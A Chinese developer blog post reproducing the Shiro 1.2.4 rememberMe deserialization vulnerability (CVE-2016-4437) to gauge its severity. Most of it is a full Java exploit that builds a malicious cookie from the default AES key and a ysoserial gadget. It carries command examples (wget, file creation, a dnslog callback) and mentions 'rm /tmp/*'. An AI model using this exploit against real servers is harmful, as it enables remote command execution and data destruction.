shiro1.2.4反序列化漏洞(CVE-2016-4437)的问题分析(一)

记录Java开发中的问题,一起成长!

问题背景:在某个项目中依赖了shiro1.2.4,结果收到了网警的一纸警告,警告上明确写道存在CVE-2016-4437以及造成此漏洞的罪魁祸首是使用了<=1.2.4版本的shiro。

复现CVE-2016-4437

漏洞是有了,那么这个漏洞到底有多严重呢?我们来复现一下这个问题。

需要用到的工具:

ysoserial源码或jar包

shiro-root源码(主要使用里面的samples-web子项目)可以从官网下载,不过这里直接提供一个编译好的压缩包

如果使用的是我们提供的编译好的压缩包下面的信息可以不看了:

shiro-root项目如果下载源码编译可能会出现如下错误:

  1. maven-toolchains-plugin错误
[ERROR] Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:  
1.1:toolchain (default) on project shiro-samples: Cannot find matching toolchain  
 definitions for the following toolchain types:  
[ERROR] jdk [ vendor='sun' version='1.6' ]  
[ERROR] Please make sure you define the required toolchains in your ~/.m2/toolchains.xml file.

这是因为shiro-root-1.2.4.pom中使用了maven-toolchains-plugin,而maven中没有配置toolchain导致无法编译(toolchain可以指定编译时使用的jdk版本),见shiro-root-1.2.4.pom中的maven-toolchains-plugin:

<plugin>
  <groupId>org.apache.maven.plugins</groupId>
  <artifactId>maven-toolchains-plugin</artifactId>
  <version>1.1</version>
  <configuration>
    <toolchains>
      <jdk>
        <version>1.6</version>
        <vendor>sun</vendor>
      </jdk>
    </toolchains>
  </configuration>
  <executions>
    <execution>
      <goals>
        <goal>toolchain</goal>
      </goals>
    </execution>
  </executions>
</plugin>

这里定义了1.6版本的JDK的目录,当然,你也可以定义多个toolchain。
ok,大功告成!
如果需要了解更多关于toolchain的信息,可以看这里:
http://maven.apache.org/guides/mini/guide-using-toolchains.html

2、Maven打包web项目报错:webxml attribute is required (or pre-existing WEB-INF/web.xml if executing in update)
第一种、在pom.xml文件中定义一个参数配置

<properties>
        <failOnMissingWebXml>false</failOnMissingWebXml>
    </properties>

第二种、更新maven-war-plugin的版本

<plugin>
  <artifactId>maven-war-plugin</artifactId>
  <version>3.0.0</version>
</plugin>

第三种、在webapp目录下创建WEB-INF/web.xml

mvn package -Dmaven.test.skip=true

3、运行时还可能报错:

The
 absolute uri: [http://java.sun.com/jsp/jstl/core] cannot be resolved in
 either web.xml or the jar files deployed with this application

将jstl的版本改为为1.2
并引入collections4准备验证错误

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

3、访问
经过上面的步骤应该就可以部署成功了。部署成功后访问页面。

漏洞利用

项目已经有了,在项目的lib目录中放入commons-collections4-4.0.jar的jar包(有漏洞的jar包都可以,此处以commons-collections4-4.0.jar为例)。

编写java程序(需要依赖于ysoserial):

注意:CommonsCollections2针对的是commons-collections4-4.0的漏洞,如果是commons-collections:3.1使用CommonsCollections1,具体可以查看ysoserial.payloads的源码

package ysoserial;
 
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.security.Key;
 
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
 
import org.apache.commons.codec.binary.Base64;
 
import ysoserial.payloads.CommonsCollections2;
import ysoserial.payloads.ObjectPayload;
 
public class ShiroPOC {
 
    private static final byte[] keyBytes = Base64.decodeBase64("kPH+bIxk5D2deZiIxcaaaA==");
 
    public static void main(String[] args) {
        if (args.length != 2) {
            System.out.println("usage: java -jar shiroPoc.jar command pocPath");
        }
        // wget http://www.baidu.com
        // touch /tmp/kevintest.txt
        // exec calc
        // CommonsCollections2针对的是commons-collections4-4.0的漏洞,如果是commons-collections:3.1使用CommonsCollections1,具体可以查看ysoserial.payloads的源码
        ShiroPOC.run(CommonsCollections2.class, "wget http://www.baidu.com", "d:/tttttt.txt");
        //
        // http://www.dnslog.cn/getdomain.php 获取域名
        // http://www.dnslog.cn/getrecords.php 获取访问记录
        // ShiroPOC.run(URLDNS.class, "http://eoaw7y.dnslog.cn", "d:/tttttt1.txt"); //注意里面的域名需要重新获取可能已经过期
    }
 
    @SuppressWarnings({ "rawtypes" })
    public static void run(Class<? extends ObjectPayload> ObjectPayloadClz, String cmd, String filePath) {
        // 3个参数1类 2执行命令 3文件路径
        System.out.println("======================================================================");
 
        try {
 
//            String className = ObjectPayloadClz.getName();
 
//            Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
            ObjectPayload payload = (ObjectPayload) ObjectPayloadClz.newInstance();
            Object object = payload.getObject(cmd);
 
            byte[] objectBytes = toByteArray(object);
 
            byte[] objectEncriptBytes = aesEncrypt(objectBytes);
            System.out.println("加密后:" + objectEncriptBytes.length);
            System.out.println("");
 
            String strHex = parseByte2HexStr(objectEncriptBytes);
            System.out.println("转十六进制后:" + strHex);
            System.out.println("");
 
            byte[] hexTobyte = parseHexStr2Byte(strHex);
            System.out.println("转二进制后:" + hexTobyte);
            System.out.println(hexTobyte.length);
            System.out.println("");
 
            byte[] descBytes = AES_CBC_Decrypt(hexTobyte);
            System.out.println("解密后:" + new String(descBytes));
            System.out.println("");
 
            byte[] byteMerger = byteMerger(getIV(), hexTobyte);
            System.out.println(new String(byteMerger));
            System.out.println("");
            System.out.println("byteMerger length: " + byteMerger.length);
            System.out.println("");
            byte[] base64ByteMerger = Base64.encodeBase64(byteMerger);
            String base64MergerStr = new String(base64ByteMerger).replaceAll("\r|\n", "");
            System.out.println("rememberMe=" + base64MergerStr);
            System.out.println("");
 
            createFile(filePath, base64MergerStr);
 
            byte[] descriptByte = Base64.decodeBase64(base64MergerStr);
            byte[] objectByte = new byte[descriptByte.length - 16];
            System.arraycopy(descriptByte, 16, objectByte, 0, descriptByte.length - 16);
            byte[] decriptObj = AES_CBC_Decrypt(objectByte);
            System.out.println(new String(decriptObj));
 
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
 
    /**
     * 将16进制转换为二进制
     * 
     * @param hexStr
     * @return
     */
    public static byte[] parseHexStr2Byte(String hexStr) {
        if (hexStr.length() < 1)
            return null;
        byte[] result = new byte[hexStr.length() / 2];
        for (int i = 0; i < hexStr.length() / 2; i++) {
            int high = Integer.parseInt(hexStr.substring(i * 2, i * 2 + 1), 16);
            int low = Integer.parseInt(hexStr.substring(i * 2 + 1, i * 2 + 2), 16);
            result[i] = (byte) (high * 16 + low);
        }
        return result;
    }
 
    /**
     * 将二进制转换成16进制
     * 
     * @param buf
     * @return
     */
    public static String parseByte2HexStr(byte buf[]) {
        StringBuffer sb = new StringBuffer();
        for (int i = 0; i < buf.length; i++) {
            String hex = Integer.toHexString(buf[i] & 0xFF);
            if (hex.length() == 1) {
                hex = '0' + hex;
            }
            sb.append(hex.toUpperCase());
        }
        return sb.toString();
    }
 
    /**
     * 使用AES 算法 加密,默认模式 AES/CBC/PKCS5Padding
     */
    public static byte[] aesEncrypt(byte[] str) throws Exception {
 
        Key keySpec = new SecretKeySpec(keyBytes, "AES");
        IvParameterSpec ivSpec = new IvParameterSpec(getIV());
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
        /**
         * 初始化,此方法可以采用三种方式,按服务器要求来添加。(1)无第三个参数 (2)第三个参数为SecureRandom random = new SecureRandom();中random对象,随机数。(AES不可采用这种方法)
         * (3)采用此代码中的IVParameterSpec
         */
        byte[] b = cipher.doFinal(str);
        return b;
    }
 
    public static byte[] AES_CBC_Decrypt(byte[] content) {
 
        byte[] ret = null;
        try {
            IvParameterSpec ivSpec = new IvParameterSpec(getIV());
            Key key = new SecretKeySpec(keyBytes, "AES");
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, key, ivSpec);
            ret = cipher.doFinal(content);
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        return ret;
    }
 
    public static byte[] getIV() {
        String iv = "1234567812345678"; // IV length: must be 16 bytes long
        return iv.getBytes();
    }
 
    public static byte[] byteMerger(byte[] byte_1, byte[] byte_2) {
        byte[] byte_3 = new byte[byte_1.length + byte_2.length];
        System.out.println("arry1长度:" + byte_1.length + "arry1长度:" + byte_2.length);
        System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);
        System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);
        return byte_3;
    }
 
    /**
     * 创建文件
     * 
     * @Title createFile
     * @author 吕凯
     * @date 2020年5月28日 上午10:26:53
     * @param path
     *            文件路径
     * @param str
     *            文件内容
     * @throws IOException
     *             void
     */
    public static void createFile(String path, String str) throws IOException {
 
        FileWriter fos = new FileWriter(path);
        fos.write(str);
        fos.flush();
        fos.close();
    }
 
    public static void createFile(String path, byte[] str) throws IOException {
 
        FileOutputStream fos = new FileOutputStream(path);
        fos.write(str);
        fos.flush();
        fos.close();
    }
 
    /**
     * 对象转数组
     * 
     * @param obj
     * @return
     */
    public static byte[] toByteArray(Object obj) {
        byte[] bytes = null;
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(obj);
            oos.flush();
            bytes = bos.toByteArray();
            oos.close();
            bos.close();
        } catch (IOException ex) {
            ex.printStackTrace();
        }
        return bytes;
    }
}

借助于http工具如Fiddler,在cookie中添加将rememberMe=上面生成的字符串,发起请求,到服务器上验证即可。

图片

如执行的命令为touch /tmp/kevintest.txt

则到服务器的tmp目录下可用看到多了kevintest.txt文件。可以将命令再改成rm /tmp/kevintest.txt看看,该文件被删除了,那么设想一下如果讲命令改成rm /tmp/*设置更危险的命令会有什么后果?

思考

如果上面的例子还不够明显,可以多试几个脚本,看看在服务器上的运行情况。基本上项目运行用户能支持的命令,都可以通过这个rememberMe注入执行。那么这个漏洞有多严重就不言而喻了吧。

那么这个漏洞到底是怎么造成的以及怎样解决,我们将在后续的文章中继续进行分析。

专注Java技术,我们一起学习一起进步吧

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值